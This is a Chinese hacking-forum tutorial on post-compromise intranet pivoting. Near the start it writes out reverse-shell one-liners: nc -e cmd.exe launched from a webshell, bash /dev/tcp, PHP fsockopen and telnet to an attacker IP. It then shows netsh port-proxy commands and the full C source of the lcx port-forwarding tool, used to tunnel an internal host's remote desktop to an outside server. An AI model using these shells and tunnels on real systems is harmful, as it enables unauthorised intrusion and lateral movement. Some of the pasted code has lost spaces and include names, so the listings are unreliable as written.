来源：http://bbs.ichunqiu.com/thread-9492-1-1.html?from=ch
社区：i春秋
时间：2016年8月6号晚
作者：Binghe
前言
当获得单目标权限，若想扩大漏洞影响，我们可以以此为跳板杀入内网，即使你内网内有些机器是不联网的。
简介
大致了解内网中的端口反弹 、映射手法，适合新手学习
目录
0x01：关于交互式shell反弹
0x02：关于内网渗透中的端口映射
0x03：内网中易被忽略的双向隧道
正文
0x01 关于交互式shell反弹
关于反弹交互式command的shell回来在windows上面一般使用nc
webshell里执行
[AppleScript]纯文本查看复制代码
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C:\nc.exe-e C:\recycler\cmd.exe YourIP51
本机执行
[AppleScript]纯文本查看复制代码
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nc-l-vv-p51
自己需是外网 或者你是内网且在路由作了51的端口映射，最好是在外网的服务器好些
linux上面一般用以下几种脚本
[AppleScript]纯文本查看复制代码
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BASH
bash-i>&/dev/tcp/10.0.0.1/80800>&1
PHP
php-r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
TELNET
rm-f/tmp/p; mknod/tmp/p p&&telnet ATTACKING-IP800/tmp/p
0X02 关于内网渗透中的端口映射
适应场景经常遇到 主机只有内部网络可以访问 拿下一台权限后 以此为跳板连接其他主机端口 即把拿到权限的主机当成一台路由器 做个端口映射
windows中利用netsh映射内网端口（一次执行 重启亦在）
举例 拿到192.1681.101的权限， 目标是192.168.1.106的ssh
必须先来在162.168.1.101安装IPV6
[AppleScript]纯文本查看复制代码
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netsh interface ipv6install
然后
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netsh interface portproxyaddv4tov4listenaddress=192.1681.101listenport=666connectaddress=192.168.1.106connectport=22
查看存在的转发
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netsh interface portproxyshowall
现在连接192.168.1.101:666 就相当于链接到目标机的22端口了
删除
[AppleScript]纯文本查看复制代码
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netsh interface portproxydeletev4tov4listenaddress=192.168.1.101listenport=666
我自己在内网测试连接目标3389测试的效果
那么如果我们拿到的是一台linux呢？
当然有办法啦 写个c脚本就好 我一般用某牛写的这个集成的 功能多一些
[C]纯文本查看复制代码
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603/* Socket data transport tool
* by bkbll([email][email protected][/email])
* [bkbll@mobile socket]$ uname -a
* Linux mobile 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* [bkbll@mobile socket]$ gcc -o trtool trtool.c
* [bkbll@mobile socket]$ ./trtool
* Socket data transport tool
* by bkbll([email][email protected][/email])
* Usage:./trtool -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
* -v: version
* -h1: host1
* -h2: host2
* -p1: port1
* -p2: port2
* -log: log the data
* -m: the action method for this tool
* 1: listen on PORT1 and connect to HOST2:PORT2
* 2: listen on PORT1 and PORT2
* 3: connect to HOST1:PORT1 and HOST2:PORT2
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define VERSION "2.2"
#define TIMEOUT 300
#define max(a,b) (a)>(b)?(a):(b)
#define MAXSIZE 10240
#define HOSTLEN 40
#define CONNECT_NUMBER 5
/* define function here */
voidusage(char*s);
voidtransdata(intfd1,intfd2);
voidcloseallfd();
voidmakelog(char*buffer,intlength);
inttestifisvalue(char*str);
intbind2conn(intport1,char*host,intport2);
intbind2bind(intport1,intport2);
intconn2conn(char*host1,intport1,char*host2,intport2);
intcreate_socket();
intcreate_serv(intsockfd,intport);
intclient_connect(intsockfd,char* server,intport);
/* define GLOBAL varible here */
externinterrno;
FILE*fp;
main(intargc,char**argv)
{
char**p;
charhost1[HOSTLEN],host2[HOSTLEN];
intport1=0,port2=0,method=0;
intlength;
char*logfile=NULL;
p=argv;
memset(host1,0,HOSTLEN);
memset(host2,0,HOSTLEN);
while(*p)
{
if(strcmp(*p,"-v")==0)
{
printf("Socket data transport tool.\r\nVersion:%s\r\n",VERSION);
p++;
continue;
}
if(strcmp(*p,"-h1")==0)
{
if(testifisvalue(*(p+1))==1)
{
length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
strncpy(host1,*(++p),length);
}
p++;
continue;
}
if(strcmp(*p,"-h2")==0)
{
if(testifisvalue(*(p+1))==1)
{
length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
strncpy(host2,*(++p),length);
}
p++;
continue;
}
if(strcmp(*p,"-p1")==0)
{
if(testifisvalue(*(p+1))==1)
port1=atoi(*(++p));
p++;
continue;
}
if(strcmp(*p,"-p2")==0)
{
if(testifisvalue(*(p+1))==1)
port2=atoi(*(++p));
p++;
continue;
}
if(strcmp(*p,"-m")==0)
{
if(testifisvalue(*(p+1))==1)
method=atoi(*(++p));
p++;
continue;
}
if(strcmp(*p,"-log")==0)
{
if(testifisvalue(*(p+1))==1)
logfile=*(++p);
else
{
printf("[ERROR]:must supply logfile name\r\n");
exit(0);
}
p++;
continue;
}
p++;
}
signal(SIGCLD,SIG_IGN);
signal(SIGINT,&closeallfd);
if(logfile !=NULL)
{
fp=fopen(logfile,"a");
if(fp == NULL )
{
perror("open logfile");
exit(0);
}
}
makelog("######################## start ################\r\n",49);
switch(method)
{
case0:
usage(argv[0]);
break;
case1:
if((port1==0) || (port2==0))
{
printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
break;
}
if(strlen(host2)==0)
{
printf("[ERROR]:must supply HOST2.\r\n");
break;
}
bind2conn(port1,host2,port2);
break;
case2:
if((port1==0) || (port2==0))
{
printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
break;
}
bind2bind(port1,port2);
break;
case3:
if((port1==0) || (port2==0))
{
printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
break;
}
if(strlen(host1)==0)
{
printf("[ERROR]:must supply HOST1.\r\n");
break;
}
if(strlen(host2)==0)
{
printf("[ERROR]:must supply HOST2.\r\n");
break;
}
conn2conn(host1,port1,host2,port2);
break;
default:
usage(argv[0]);
}
closeallfd();
}
inttestifisvalue(char*str)
{
if(str == NULL )return(0);
if(str[0]=='-')return(0);
return(1);
}
voidusage(char*s)
{
printf("Socket data transport tool\r\n");
printf("by bkbll([email][email protected][/email])\r\n\r\n");
printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",s);
printf(" -v: version\r\n");
printf(" -h1: host1\r\n");
printf(" -h2: host2\r\n");
printf(" -p1: port1\r\n");
printf(" -p2: port2\r\n");
printf(" -log: log the data\r\n");
printf(" -m: the action method for this tool\r\n");
printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r\n");
printf(" 2: listen on PORT1 and PORT2\r\n");
printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");
closeallfd();
}
intbind2conn(intport1,char*host,intport2)
{
intsockfd,sockfd1,sockfd2;
structsockaddr_in remote;
intsize;
intpid;
charbuffer[1024];
memset(buffer,0,1024);
if((sockfd=create_socket())==0)exit(0);
if(create_serv(sockfd,port1)==0)
{
close(sockfd1);
exit(0);
}
size=sizeof(structsockaddr);
while(1)
{
printf("waiting for response.........\n");
if((sockfd1=accept(sockfd,(structsockaddr *)&remote,&size))<0){perror("accept error\n");continue;}
printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
if((sockfd2=create_socket())==0)
{
close(sockfd1);
continue;
}
printf("make a connection to %s:%d....",host,port2);
fflush(stdout);
if(client_connect(sockfd2,host,port2)==0)
{
close(sockfd2);
sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
write(sockfd1,buffer,strlen(buffer));
memset(buffer,0,1024);
close(sockfd1);
continue;
}
printf("ok\r\n");
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
// sleep(2);
close(sockfd1);
close(sockfd2);
}
}
intbind2bind(intport1,intport2)
{
intfd1,fd2,sockfd1,sockfd2;
structsockaddr_in client1,client2;
intsize1,size2;
intpid;
if((fd1=create_socket())==0)exit(0);
if((fd2=create_socket())==0)exit(0);
printf("binding port %d......",port1);
fflush(stdout);
if(create_serv(fd1,port1)==0)
{
close(fd1);
exit(0);
}
printf("ok\r\n");
printf("binding port %d......",port2);
fflush(stdout);
if(create_serv(fd2,port2)==0)
{
close(fd2);
exit(0);
}
printf("ok\r\n");
size1=size2=sizeof(structsockaddr);
while(1)
{
printf("waiting for response on port %d.........\n",port1);
if((sockfd1=accept(fd1,(structsockaddr *)&client1,&size1))<0)
{
perror("accept1 error");
continue;
}
printf("accept a client on port %d from %s,waiting another on port %d....\n",port1,inet_ntoa(client1.sin_addr),port2);
if((sockfd2=accept(fd2,(structsockaddr *)&client2,&size2))<0)
{
perror("accept2 error");
close(sockfd1);
continue;
}
printf("accept a client on port %d from %s\n",port2,inet_ntoa(client2.sin_addr));
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
//sleep(2);
close(sockfd1);
close(sockfd2);
}
}
intconn2conn(char*host1,intport1,char*host2,intport2)
{
intsockfd1,sockfd2;
intpid;
while(1)
{
if((sockfd1=create_socket())==0)exit(0);
if((sockfd2=create_socket())==0)exit(0);
printf("make a connection to %s:%d....",host1,port1);
fflush(stdout);
if(client_connect(sockfd1,host1,port1)==0)
{
close(sockfd1);
close(sockfd2);
break;
}
printf("ok\r\n");
printf("make a connection to %s:%d....",host2,port2);
fflush(stdout);
if(client_connect(sockfd2,host2,port2)==0)
{
close(sockfd1);
close(sockfd2);
break;
}
printf("ok\r\n");
pid=fork();
if(pid==0) transdata(sockfd1,sockfd2);
//sleep(2);
close(sockfd1);
close(sockfd2);
}
}
voidtransdata(intfd1,intfd2)
{
structtimeval timeset;
fd_set readfd,writefd;
intresult,i=0;
charread_in1[MAXSIZE],send_out1[MAXSIZE];
charread_in2[MAXSIZE],send_out2[MAXSIZE];
intread1=0,totalread1=0,send1=0;
intread2=0,totalread2=0,send2=0;
intsendcount1,sendcount2;
intmaxfd;
structsockaddr_in client1,client2;
intstructsize1,structsize2;
charhost1[20],host2[20];
intport1=0,port2=0;
chartmpbuf1[100],tmpbuf2[100];
memset(host1,0,20);
memset(host2,0,20);
memset(tmpbuf1,0,100);
memset(tmpbuf2,0,100);
if(fp!=NULL)
{
structsize1=sizeof(structsockaddr);
structsize2=sizeof(structsockaddr);
if(getpeername(fd1,(structsockaddr *)&client1,&structsize1)<0)
{
strcpy(host1,"fd1");
}
else
{
printf("got,ip:%s,port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
strcpy(host1,inet_ntoa(client1.sin_addr));
port1=ntohs(client1.sin_port);
}
if(getpeername(fd2,(structsockaddr *)&client2,&structsize2)<0)
{
strcpy(host2,"fd2");
}
else
{
printf("got,ip:%s,port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
strcpy(host2,inet_ntoa(client2.sin_addr));
port2=ntohs(client2.sin_port);
}
sprintf(tmpbuf1,"\r\n########### read from %s:%d ####################\r\n",host1,port1);
sprintf(tmpbuf2,"\r\n########### reply from %s:%d ####################\r\n",host2,port2);
}
maxfd=max(fd1,fd2)+1;
memset(read_in1,0,MAXSIZE);
memset(read_in2,0,MAXSIZE);
memset(send_out1,0,MAXSIZE);
memset(send_out2,0,MAXSIZE);
timeset.tv_sec=TIMEOUT;
timeset.tv_usec=0;
while(1)
{
FD_ZERO(&readfd);
FD_ZERO(&writefd);
FD_SET(fd1,&readfd);
FD_SET(fd1,&writefd);
FD_SET(fd2,&writefd);
FD_SET(fd2,&readfd);
result=select(maxfd,&readfd,&writefd,NULL,×et);
if((result<0) && (errno!=EINTR))
{
perror("select error");
break;
}
elseif(result==0)
{
printf("time out\n");
break;
}
if(FD_ISSET(fd1,&readfd))
{
/* 不能超过MAXSIZE-totalread1,不然send_out1会溢出 */
if(totalread1
{
read1=read(fd1,read_in1,MAXSIZE-totalread1);
if(read1==0)break;
if((read1<0) && (errno!=EINTR))
{
perror("read data error");
break;
}
memcpy(send_out1+totalread1,read_in1,read1);
makelog(tmpbuf1,strlen(tmpbuf1));
makelog(read_in1,read1);
totalread1+=read1;
memset(read_in1,0,MAXSIZE);
}
}
if(FD_ISSET(fd2,&writefd))
{
interr=0;
sendcount1=0;
while(totalread1>0)
{
send1=write(fd2,send_out1+sendcount1,totalread1);
if(send1==0)break;
if((send1<0) && (errno!=EINTR))
{
perror("unknow error");
err=1;
break;
}
if((send1<0) && (errno==ENOSPC))break;
sendcount1+=send1;
totalread1-=send1;
}
if(err==1)break;
if((totalread1>0) && (sendcount1>0))
{
/* 移动未发送完的数据到开始 */
memcpy(send_out1,send_out1+sendcount1,totalread1);
memset(send_out1+totalread1,0,MAXSIZE-totalread1);
}
else
memset(send_out1,0,MAXSIZE);
}
if(FD_ISSET(fd2,&readfd))
{
if(totalread2
{
read2=read(fd2,read_in2,MAXSIZE-totalread2);
if(read2==0)break;
if((read2<0) && (errno!=EINTR))
{
perror("read data error");
break;
}
memcpy(send_out2+totalread2,read_in2,read2);
makelog(tmpbuf2,strlen(tmpbuf2));
makelog(read_in2,read2);
totalread2+=read2;
memset(read_in2,0,MAXSIZE);
}
}
if(FD_ISSET(fd1,&writefd))
{
interr2=0;
sendcount2=0;
while(totalread2>0)
{
send2=write(fd1,send_out2+sendcount2,totalread2);
if(send2==0)break;
if((send2<0) && (errno!=EINTR))
{
perror("unknow error");
err2=1;
break;
}
if((send2<0) && (errno==ENOSPC))break;
sendcount2+=send2;
totalread2-=send2;
}
if(err2==1)break;
if((totalread2>0) && (sendcount2 > 0))
{
/* 移动未发送完的数据到开始 */
memcpy(send_out2,send_out2+sendcount2,totalread2);
memset(send_out2+totalread2,0,MAXSIZE-totalread2);
}
else
memset(send_out2,0,MAXSIZE);
}
}
close(fd1);
close(fd2);
printf("ok,I closed the two fd\r\n");
exit(0);
}
voidcloseallfd()
{
inti;
printf("Let me exit...");
fflush(stdout);
for(i=3;i<256;i++)
{
close(i);
}
if(fp != NULL)
{
fprintf(fp,"exited\r\n");
fclose(fp);
}
printf("all overd\r\n");
exit(0);
}
voidmakelog(char*buffer,intlength)
{
if(fp !=NULL)
{
//fprintf(fp,"%s",buffer);
write(fileno(fp),buffer,length);
fflush(fp);
}
}
intcreate_socket()
{
intsockfd;
sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
perror("create socket error");
return(0);
}
return(sockfd);
}
intcreate_serv(intsockfd,intport)
{
structsockaddr_in srvaddr;
inton=1;
bzero(&srvaddr,sizeof(structsockaddr));
srvaddr.sin_port=htons(port);
srvaddr.sin_family=AF_INET;
srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));//so I can rebind the port
if(bind(sockfd,(structsockaddr *)&srvaddr,sizeof(structsockaddr))<0){perror("error");return(0);}
if(listen(sockfd,CONNECT_NUMBER)<0){perror("listen error\n");return(0);}
return(1);
}
intclient_connect(intsockfd,char* server,intport)
{
structsockaddr_in cliaddr;
structhostent *host;
if(!(host=gethostbyname(server))){printf("gethostbyname(%s) error:%s\n",server,strerror(errno));return(0);}
bzero(&cliaddr,sizeof(structsockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((structin_addr *)host->h_addr);
if(connect(sockfd,(structsockaddr *)&cliaddr,sizeof(structsockaddr))<0){perror("error");return(0);}
return(1);
}
官方说明
[AppleScript]纯文本查看复制代码
?
Usage:./lcx.c-m method [-h1host1]-p1port1[-h2host2]-p2port2[-v] [-logfilename]
-v:version
-h1:host1
-h2:host2
-p1:port1
-p2:port2
-log:logthedata
-m:theaction methodforthis tool
1:listenonPORT1andconnecttoHOST2:PORT2
2:listenonPORT1andPORT2
3:connecttoHOST1:PORT1andHOST2:PORT2
Letmeexit…all overd
我在本地举个例子测试 拿到了一个内网的shell：http://192.168.19.130/t00ls.php，目标是192.168.0.109的远程桌面
先给个所有权
[AppleScript]纯文本查看复制代码
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chmod777lcx.c
[AppleScript]纯文本查看复制代码
?
./lcx.c-m1-h1192.168.19.130-p16666-h2192.168.0.109-p23389
测试效果
.
于是乎连接192.168.19.130:6666即是连接192.168.0.109:3389
聪明的你或许会问 卧槽 我怎么连接这个内网的192.168.19.130:6666？
答：如果它存在外网ip，那是极好的，没有的话，可以用webshell上传个REDUH之类的脚本把他自己的6666端口转到你的服务器的33891端口，然后再服务器上连接127.0.0.1:33891就行了，不过这里面转了两层代理 延时效果可想而知
后来发现，，，，不过这个也太慢了吧
后来问了下基友，才知道，原来上面的c脚本其本身就存在这个双向隧道的功能，怪我疏忽了，没细看
0x03 内网中被忽略的双向隧道
利用方法为使用方法中的method 3
[AppleScript]纯文本查看复制代码
?
1
2
33:connecttoHOST1:PORT1andHOST2:PORT2
./lcx.c-m3-h1183.60.201.131-p16688-h2192.168.0.109-p23389
然后在183.60.201.131这台外网服务器执行lcx监听
[AppleScript]纯文本查看复制代码
?
lcx.exe-listen668933991
立即就有反应了
然后在服务器连接127.0.0.1:33991 就相当于连接到了我们的目标机的3389 看效果图
.
一点也不卡哦， m 3 同时完成了双向隧道
后来发现。原来我们很多工具都是支持双向隧道的
比如aspx大马的端口映射功能
以前我只用这个功能来转发他自己的3389 测试用它来转发其他内网机器的某个端口也可以
像下面这个案例 虽然目标机处于内网 且无法上网 但这并不代表我们杀不进去
情况是：拿到了192.168.167.3的shell 目标是192.168.0.11的桌面服务
.
当然 ，我现在才知道reduh也可以双向
.
一般来说 aspx、php、jsp脚本的内网映射脚本都是走的http隧道 于是接收端无谓内网外网 我就是在虚拟机里面接收的端口请求，缺点是，，，有点慢慢慢慢慢。。。
记录 分享 备用。